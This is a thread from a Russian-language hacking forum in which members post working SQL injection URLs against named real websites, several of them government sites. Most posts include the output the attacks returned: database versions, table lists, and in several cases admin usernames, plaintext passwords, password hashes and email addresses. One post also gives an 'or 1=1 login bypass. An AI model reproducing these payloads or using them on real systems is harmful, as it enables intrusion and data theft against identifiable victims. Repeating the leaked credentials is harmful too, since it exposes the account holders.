SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.francecruises.com/hotel-12+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31---.html
    [email protected]:francecruises_com_2:5.0.51-log
     
  2. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR4
    http://www.rushcampaign.org/content.php?id=-67'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,database(),24,25,26,27+/*+
    rush_cms

    PR4
    http://www.dispaxworld.com/content.php?ID=-107'+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10+from+information_schema.tables+/*+
     
    #9442 DezMond™, 24 May 2009
    Last edited: 24 May 2009
  3. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://www.psp-sector.ru/game.php?id=-254+union+select+1,table_name,3,4,5,6,7,8,9,0,11,12,13,14,15,16+from+information_schema.tables+limit+17,1--
     
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Опять министество у меня хДД

    Мнистерство промышленности Респб. Беларусь
    ТИЦ: 120
    PR: 6

    http://www.minprom.gov.by/innovations1.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5/*

    4.1.22:minprom@localhost:minprom
     
    _________________________
    1 person likes this.
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://ipv6.tsinghua.edu.cn/end.php?ID=37
    Blind - 3-я ветка.

    root@localhost.localdomain:dianzirenzheng:3.23.58
     
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    что то но гос сайты потянуло )))

    http://www.mocat.gov.bd/personnel.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--

    5.0.67-community

    http://www.mocat.gov.bd/personnel.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.tables+group+by+table_schema+limit+1,1--

    Code:
    userinfo,tbl_companies,file_type,tbl_weather,tbl_key_personnel,month,user_form,tbl_organization,registered_module,statistic,aff_org_cat,tbl_photo_subcategory,tbl_airports_category,category,tbl_tth,weather_xml,tbl_designation,gallery,tbl_weather_category,tbl_news_events,notice,user_module,tbl_organogram,subcategory,aff_org_details,tbl_polic
    
    http://www.mocat.gov.bd/personnel.php?id=-1+union+select+1,group_concat(concat_ws(0x3a,email,pass,user_name)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+userinfo--

    куда вводить я так и не понял

    админа что то тоже не нашел Оо (лень)


    #####################################
    PR 5

    blind

    version: 5
     
    _________________________
    #9446 HAXTA4OK, 24 May 2009
    Last edited: 24 May 2009
  7. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    http://www.joiavivaflores.com.br/dicas/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--

    admin



    --------------------------------------------------------------------------------

    admin


    http://www.segway.com.pt/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--

    segway

    --------------------------------------------------------------------------------

    //5

    --------------------------------------------------------------------------------

    123456
     
    #9447 Kimliksiz, 24 May 2009
    Last edited: 24 May 2009
  8. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    blind
     
    _________________________
  9. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    http://www.iprcentralassis.com.br/valor.php?noticia=-1+union+select+0,1,2,user,pass,5+from+login--

    admin

    123mudar

    sindadvogados-rj.com.br
     
    #9449 Kimliksiz, 24 May 2009
    Last edited by a moderator: 24 May 2009
    1 person likes this.
  10. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.napep.gov.ng/contact.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--

    5.0.67-log

    http://www.napep.gov.ng/contact.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12+from+information_schema.tables+group+by+table_schema+limit+1,1--

    Code:
    sys_modfieldtmp,napep_photo_albums,forum_forum,sys_variable,subsections,media,document_type,sys_thirdparam,projects,link_category,calendar_reminder,sys_module,photo_gallery,forum_reply,account,sys_modobject,napep_sections,forum_modcategory,tenders,sys_component,medialications,employment,sys_thirdparty,publication_type,links,calendar_type
    http://www.napep.gov.ng/contact.php?id=-1+union+select+1,unhex(hex(group_concat(concat_ws(0x3a,password,name)))),3,4,5,6,7,8,9,10,11,12+from+account--

    ##########################################
    PR: 6

    http://www.congress.org.in/achievements-of-upa-gov.php?id=-1+union+select+1,2,version()--

    5.0.45-community-nt

    http://www.congress.org.in/achievements-of-upa-gov.php?id=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+group+by+table_schema+limit+0,1--

    Code:
    aicc_rajiv_audio,aicc_org_nav,aicc_election_poster_advert_hindi,con_organisation_aicc_committees_hindi,aicc_admin_users_log,aicc_template_top_nav,aicc_president_speech,pcc_office_bearer,aicc_navigations_hindi,con_in_parliament_hindi,aicc_election_audio_vedio_hindi,aicc_ruled_state_hindi,aicc_82_plenary,aicc_president_document,pcc_frontal,aicc_images_hindi,con_dep_cells_hindi,aicc_documents_archive,aicc_rajiv_speech,aicc_president,aicc_history,other_officers,central_election_authority,aicc_central_election_hindi,aicc_rajiv_bio,aicc_overview,aicc_elections_2004,con_organisation_committees_hindi,aicc_audio_vedio_eng,aicc_timeline,aicc_president_speech_hindi,pcc_pcc_member,aicc_next_century,con_in_states,aicc_election_condidates_hindi,aicc_achievements,aicc_sonia_hindi,aicc_president_document_hindi,pcc_mla,aicc_manifesto,con_frontal_organisations_hindi,aicc_documents_hindi,aicc_rajiv_video,aicc_president_archive,pcc_aicc_member,aicc_history_hindi,committees,aicc_committee,aicc_rajiv_detail,aicc_past_president,aic
     
    _________________________
    #9450 HAXTA4OK, 24 May 2009
    Last edited: 25 May 2009
    1 person likes this.
  11. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    http://www.aptima.com/news.php?id=-47+union+select+1,version(),database(),user(),5,6,7--

    4.1.22:aptimaweb:aptimaweb@localhost
     
  12. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    http://www.tunnelbuilder.com/headlinenews-detail.php?pid=-464+union+select+1,2,3,4,5,6--

    Database Version: 5.0.58
    Database name: tunnelbu
    User name: tunnelbu@localhost

    http://www.tunnelbuilder.com/admin/admin.php

    нахер выводить

    login: 'or' 1=1
    pass: 'or' 1=1
     
    #9452 +++AndreyDevil+++, 25 May 2009
    Last edited: 25 May 2009
  13. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    [email protected]
    u69704
    5.0.67-log

    [email protected]
    4.1.22-log
    wwwgalinaflorist_galina
     
    #9453 udman, 25 May 2009
    Last edited: 25 May 2009
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 5
    http://www.cabinet.gov.bd/view_unit.php?page=unit_details_all&id=-1+union+select+1,unhex(hex(concat_ws(0x3a,version(),user(),database()))),3,4,5/*&lang=en

    4.1.7:root@localhost:CABINET_DIVISION
     
    _________________________
  15. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    http://inprint.thesyp.org.uk/news.php?id=124+union+select+version(),database(),user(),4--


    4.1.22-log:sypcms:sypcms@localhost
     
  16. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://top.more.ua/?category=-6+union+select+1,table_name+from+information_schema.tables+--+
    <Таблы>

    http://top.more.ua/?category=-6+union+select+1,concat(login,0x3a3a,pass)+from+users+--+
    admin:258456:admin@web
    ..........
     
  17. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    Земельный рынок

    version: 4.1.22
    user: u_land@localhost
    database: land

    HTML:
    http://www.land-ukraine.com/index.php?p=article&id=4320'+union+select+1,2,3,4,5,6,7,8,version(),user(),11,database(),13,14,15,16/*
    есть таблица users

    HTML:
    http://www.land-ukraine.com/index.php?p=article&id=4320'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16+from+users/*
     
    #9457 pelligrim, 25 May 2009
    Last edited: 25 May 2009
    1 person likes this.
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR7

    http://www.rri.ro/arh-art.shtml?lang=2&sec=258&art=-1353+UNION+SELECT+1,2,3,4,concat_Ws(0x3a,version(),database(),useR(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*

    Database Version: 5.0.24a-log
    Database name: rri
    User name: www@localhost
    Os: slackware-linux-gnu
     
    2 people like this.
  19. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    Code:
    http://www.moto95.ru/shop.php?ID=-14+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

    Database Version: 4.1.25
    Database name: moto
    User name: 95@localhost
     
    1 person likes this.
  20. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.offenegrenzen.ch/details.php?id=102&idelement=-7665+union+select+1,2,3,4,concat(name,char(58),passcaddieuser,char(58),email),6+from+cataloguepode_caddieusers--&supp_page=news_archives

    Häubi:OPC:andrea.hä[email protected]

    PR5
    http://www.mcn-inc.com/news_detail.php?id=-65+union+select+1,2,3,username,password,6,7,8,9,10+from+users+limit+1,1+/*+
    admin::a592c7b36faf531e2d02e3e8b8c84711
     
    #9460 DezMond™, 25 May 2009
    Last edited: 25 May 2009
    1 person likes this.
Thread Status:
Not open for further replies.